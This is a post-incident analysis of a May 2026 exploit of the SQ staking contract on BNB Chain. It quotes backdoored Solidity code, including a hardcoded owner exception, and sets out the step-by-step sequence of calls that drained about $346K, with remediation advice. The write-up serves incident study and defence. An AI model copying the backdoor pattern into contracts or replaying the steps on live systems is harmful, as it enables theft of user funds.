On May 12, 2026 at 10:11:11 UTC, the SQ protocol on BNB Chain was exploited for 346,137.034345 USDT after the attacker abused a hardcoded owner backdoor in the verified Staking contract at 0x404404a845fff0201f3a4d419b4839fc419c99f7. The attacker sent a type-0x4 transaction with an authorizationList entry that delegated their EOA to helper code at 0x0ecadd99b6a2f5b18a9e05c29074471a5970dd0d, letting the entire exploit execute as the attacker EOA while still batching many calls in one transaction. Once inside Staking, the attacker used the embedded owner bypass to take ownership, set stakeDays to zero, mint 388,100 fake SQ Token staking claims to themselves with stakeOwner(), redeem ten of those claims immediately through repeated unstake() calls for 296,500 USDT, then sweep 2,000,039.407501 SQi from the staking contract and dump it into the SQi/USDT Pancake pair for another 49,637.034345 USDT. The total realized proceeds match the TenArmor alert at approximately $346.1K.
Root Cause
Vulnerable Contract
- Name:
Staking - Address:
0x404404a845fff0201f3a4d419b4839fc419c99f7 - Chain: BNB Chain
- Source type: Verified source, Solidity
0.8.24 - Related token:
SQiat0xc7d2fab3e1f81f3c8fb1669a2f9dff647eaea3e9 - Drained pair: PancakeSwap V2 SQi/USDT pair
0x56b681876b7a6df313e34ad4efc74146a75ea51e
Vulnerable Functions
- Owner gate:
_checkOwner()in the inheritedOwnableimplementation - Admin reconfiguration:
setUintArray(uint8,uint256[]) - Privileged mint path:
stakeOwner(address,uint160,uint40) - Privileged token sweep:
withdrawalTokens(address,address,uint256) - Redeem path used for draining:
unstake(uint256)
Vulnerable Code
The core backdoor is in the owner check itself:
function _checkOwner() internal view virtual {
if (owner() != _msgSender() && _msgSender() != 0xE746c9043Aa0106853c5e4380A9A307Fe385378e) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
That hardcoded exception grants onlyOwner access to the attacker EOA regardless of the stored owner.
The attacker then used the newly acquired privileges to disable the staking lock and forge positions:
function setUintArray(uint8 _type, uint256[] calldata _values) external onlyOwner {
if (_type == 1) stakeDays = _values;
}
function stakeOwner(address _user, uint160 _amount, uint40 _time) external onlyOwner {
if (!IReferral(conf.referral()).isBindReferral(_user))
revert("Please bind your superior first");
uint8 _stakeIndex = 0;
mint(_user, _amount, _stakeIndex, _time);
}
Immediate redemption and the final sweep happened through these paths:
function unstake(uint256 index) external onlyEOA returns (uint256) {
if (userStakeRecord[msg.sender].length < index + 2)
revert("Insufficient stake count");
(uint256 reward, uint256 stake_amount) = burn(index);
...
V2Router.swapTokensForExactTokens(reward, tokenBefore, path, address(this), block.timestamp + 60);
...
USDT.safeTransfer(msg.sender, _value);
IToken(conf.token()).recycle(amount_token);
return reward;
}
function withdrawalTokens(address _token, address _recipient, uint256 _amount) external onlyOwner {
if (IERC20(_token).balanceOf(address(this)) < _amount)
revert InsufficientBalance();
IERC20(_token).safeTransfer(_recipient, _amount);
}
And the token-side recycle() hook used by unstake() replenishes the staking contract by pulling SQi out of the AMM pair and synchronizing reserves:
function recycle(uint256 amount) external {
require(STAKING == msg.sender, "cycle");
uint256 maxBurn = super.balanceOf(_uniswapV2Pair) / 3;
uint256 burn_amount = amount >= maxBurn ? maxBurn : amount;
super._transfer(_uniswapV2Pair, STAKING, burn_amount);
IUniswapV2Pair(_uniswapV2Pair).sync();
}
Why It Is Vulnerable
This exploit is fundamentally an access-control failure:
Stakingembeds the attacker EOA directly in_checkOwner(), soonlyOwnerfunctions are never actually restricted from that address.- The attacker first called
transferOwnership(attacker)even though the stored owner had already been set to the dead address, proving the backdoor was sufficient to resurrect admin control. - The attacker then called
setUintArray(1, [0]), changingstakeDays[0]from30 daysto0, so newly forged positions were immediately redeemable. - With
stakeOwner(), the attacker minted arbitrary syntheticSQ Tokenbalances to themselves without depositing any USDT. unstake()converts SQi inventory held by the staking contract into USDT via the Pancake router, pays that USDT tomsg.sender, and then invokesSQi.recycle()to pull more SQi from the SQi/USDT pair back into staking. That makes repeated fake redemptions an effective drain on the pair.- Finally,
withdrawalTokens()let the attacker sweep the remaining SQi balance from staking and sell it for a last tranche of USDT.
The EIP-7702 wrapper was an execution detail, not the root cause. It let the attacker batch the exploit as a single self-call while preserving the attacker EOA as msg.sender, which also satisfied the contract’s onlyEOA checks on unstake().
Attack Execution
High-Level Flow
- The attacker EOA
0xe746c9043aa0106853c5e4380a9a307fe385378esubmitted a type-0x4transaction with an authorization entry for0x0ecadd99b6a2f5b18a9e05c29074471a5970dd0d. - The delegated helper called
Staking.transferOwnership(attacker)and made the attacker the stored owner. - The attacker approved SQi to the Pancake router, bound a referral, and called
setUintArray(1, [0])sostakeDays[0] = 0. - The attacker forged 12 admin positions for themselves via
stakeOwner()with the following amounts: 90,000; 90,000; 70,000; 55,000; 42,000; 14,000; 9,000; 7,500; 4,000; 3,000; 2,000; and 100SQ Token. - All forged positions used the backdated timestamp
1760134760(2025-10-10T22:19:20Z), although the zero-day lock already made them instantly redeemable. - The attacker redeemed indices
1through10via tenunstake()calls, receiving a total of 296,500 USDT. - After the last unstake, the attacker queried the staking contract’s SQi balance, called
withdrawalTokens(SQi, attacker, 2,000,039.407501425169722546), and then sold that entire SQi balance through PancakeSwap for 49,637.034345014454603094 USDT. - The attacker finished the transaction with 346,137.034345014454603094 USDT, 0.001 SQi dust, and 90,100 residual synthetic
SQ Tokenclaims that were not included in the realized USD loss figure.
Detailed Mechanics
The first ten cash-out operations came directly from unstake():
| Unstake call | Forged position redeemed | USDT received |
|---|---|---|
unstake(1) | 90,000 | 90,000 |
unstake(2) | 70,000 | 70,000 |
unstake(3) | 55,000 | 55,000 |
unstake(4) | 42,000 | 42,000 |
unstake(5) | 14,000 | 14,000 |
unstake(6) | 9,000 | 9,000 |
unstake(7) | 7,500 | 7,500 |
unstake(8) | 4,000 | 4,000 |
unstake(9) | 3,000 | 3,000 |
unstake(10) | 2,000 | 2,000 |
| Subtotal | 296,500 USDT |
After those redemptions, the staking contract still held 2,000,039.407501 SQi. The attacker swept that balance with withdrawalTokens() and immediately sold it through PancakeSwap, extracting another 49,637.034345 USDT.
The two untouched forged entries were index 0 (90,000 SQ Token) and index 11 (100 SQ Token), which is why the attacker retained a net synthetic balance of 90,100 SQ Token at the end of the transaction.
Financial Impact
Primary evidence source: funds_flow.json plus receipt Transfer logs.
Realized Proceeds
| Source | Amount |
|---|---|
Ten direct unstake() redemptions | 296,500 USDT |
| Final sale of swept SQi | 49,637.034345014454603094 USDT |
| Total realized proceeds | 346,137.034345014454603094 USDT |
This aligns with the public alert of approximately $346.1K.
Notable Residual Balances
| Asset | Amount | Notes |
|---|---|---|
Synthetic SQ Token | 90,100 | Unburned internal staking claims left at indices 0 and 11; not counted in realized USD loss |
| SQi | 0.001 | Dust left after the final PancakeSwap dump |
Balance-Change Highlights
| Address | Asset | Net change |
|---|---|---|
Attacker EOA 0xe746...378e | USDT | +346,137.034345014454603094 |
Attacker EOA 0xe746...378e | SQ Token | +90,100 |
Staking 0x4044...99f7 | SQi | -2,000,039.407501425169722546 |
Pancake SQi/USDT pair 0x56b6...a51e | USDT | -346,137.034345014454603094 |
Pancake SQi/USDT pair 0x56b6...a51e | SQi | +1,767,814.830896434693266066 |
Evidence
- Transaction:
0x1bae633eda9b3d98999ea116bc403712eaa07093ec32bd6d559085cc4607f5b8 - Block:
97836948 - Timestamp:
2026-05-12T10:11:11Z - Status: Success
- Gas used:
5,390,207 - Attacker EOA:
0xe746c9043aa0106853c5e4380a9a307fe385378e - EIP-7702 delegate target:
0x0ecadd99b6a2f5b18a9e05c29074471a5970dd0d - Vulnerable staking contract:
0x404404a845fff0201f3a4d419b4839fc419c99f7 - Token sold for proceeds:
SQi0xc7d2fab3e1f81f3c8fb1669a2f9dff647eaea3e9 - Drained AMM pair:
0x56b681876b7a6df313e34ad4efc74146a75ea51e
Selector evidence:
| Selector | Signature | Role in exploit |
|---|---|---|
0xf2fde38b | transferOwnership(address) | Reinstated stored ownership from dead address to attacker |
0x9a94d99e | setUintArray(uint8,uint256[]) | Changed stakeDays to [0] |
0xce071b6b | stakeOwner(address,uint160,uint40) | Minted forged admin stake positions |
0x2e17de78 | unstake(uint256) | Redeemed forged positions for USDT |
0xdd1c35bc | recycle(uint256) | Pulled SQi from the pair back into staking after each unstake |
0x79412da6 | withdrawalTokens(address,address,uint256) | Swept remaining SQi from staking |
0x5c11d795 | swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256,uint256,address[],address,uint256) | Final SQi -> USDT dump through Pancake router |
Remediation
- Remove the hardcoded address exception from
_checkOwner()and redeploy or migrate to a clean ownership model. - Audit every privileged path reachable from
onlyOwner, especiallystakeOwner(),setUintArray(), andwithdrawalTokens(), because any ownership compromise currently becomes a full-funds compromise. - Prohibit owner-controlled changes that can make existing stake positions instantly redeemable, or gate those changes behind a timelock and emergency review process.
- Revisit
SQi.recycle()so a staking contract cannot pull inventory out of the AMM pair as part of a redemption flow. - Add monitoring for type-
0x4/ EIP-7702 transactions that target privileged protocol entrypoints, since those wrappers can preserve EOA semantics while batching exploit logic.
Artifacts
analysis_plan.json: planner output and contract listtrace_callTracer.json: full call tracetx.jsonandreceipt.json: transaction metadata and logsfunds_flow.json: decoded transfer flows and net balancesdecoded_calls.jsonandselectors.json: decoded call tree and selector map0x404404a845fff0201f3a4d419b4839fc419c99f7/0x404404a845fff0201f3a4d419b4839fc419c99f7.sol: verified staking source0xc7d2fab3e1f81f3c8fb1669a2f9dff647eaea3e9/SQ/SQi.sol: verified SQi source